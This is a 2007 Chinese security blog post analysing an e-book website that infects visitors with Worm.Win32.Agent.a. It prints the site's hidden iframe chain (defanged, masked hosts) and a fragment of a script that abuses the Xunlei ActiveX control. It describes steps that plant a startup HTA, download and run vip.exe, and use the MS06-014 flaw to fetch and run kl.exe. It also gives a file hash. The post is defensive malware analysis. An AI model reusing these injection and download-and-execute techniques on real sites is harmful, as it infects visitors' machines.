利用迅雷和MS06014漏洞传播Worm.Win32.Agent.a的电子书网站

endurer 原创
2007-06-29 第1版

浏览该网站时，Kaspersky报告：恶意脚本: 拒绝访问。

检查该网页，发现代码：
/---
＜iframe src=hxxp://x*x*.k*o*5***1.com/index.htm width=50 height=0＞＜/iframe＞
---/

hxxp://x*x*.k*o*5***1.com/index.htm　包含代码：
/---
＜iframe src="hxxp://x*x*.k*o*5***1.com/vip.htm" height=0 width=0＞＜/iframe＞
＜iframe src="hxxp://x*x*.k*o*5***1.com/vip1.htm" height=0 width=0＞＜/iframe＞
＜iframe src="hxxp://x*x*.k*o*5***1.com/vip2.htm" height=0 width=0＞＜/iframe＞
---/

hxxp://x*x*.k*o*5***1.com/vip.htm 内容为：
/---
＜SCRIPT src="vip.js"＞＜/SCRIPT＞
＜BODY οnlοad=shit();＞＜BR＞＜BR＞
---/

shit()定义在vip.js中：
/---
function shit()
{
 try{qianxu_fan = new ActiveXObject("ThunderServer.webThunder.1");}
 catch(e){return;}
---/

用来创建ActiveXObject"ThunderServer.webThunder.1"。

vip.js 利用它来的实施：
利用ADODB创建文件：C:/Documents and Settings/All Users/「开始」菜单/程序/启动/microsofts.hta
利用Shell.Run调用IE打开网页 hxxp://www.mv***ps*f.com/kl/vip.exevips.htm，下载病毒文件vip.exe
利用shell.exec运行下载到IE临时文件夹中的病毒文件vip[1].exe

文件说明符 : D:/test/vip.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-6-29 21:34:52
修改时间 : 2007-6-29 21:34:54
访问时间 : 2007-6-29 0:0:0
大小 : 191972 字节 187.484 KB
MD5 : 1ac930db8829397b86517eae9cc56c0e

瑞星报为：Worm.Win32.Agent.a

hxxp://x*x*.k*o*5***1.com/vip1.htm 内容为US-ASCII编码。到 http://purpleendurer.ys168.com 下载US-ASCII编码解码程序进行解密，得到JavaScript代码，功能是下载　kl.exe，保存为 c:/Microsoft.com，利用 ShelL.Application 运行。

view-source:hxxp://x*x*.k*o*5***1.com/vip2.htm内容为US-ASCII编码。解密得到JavaScript代码，功能是利用MS06014漏洞下载 kl.exe，保存为 c:/Microsoft.com，并创建 Microsoft.vbs，来运行。

kl.exe 已不存在。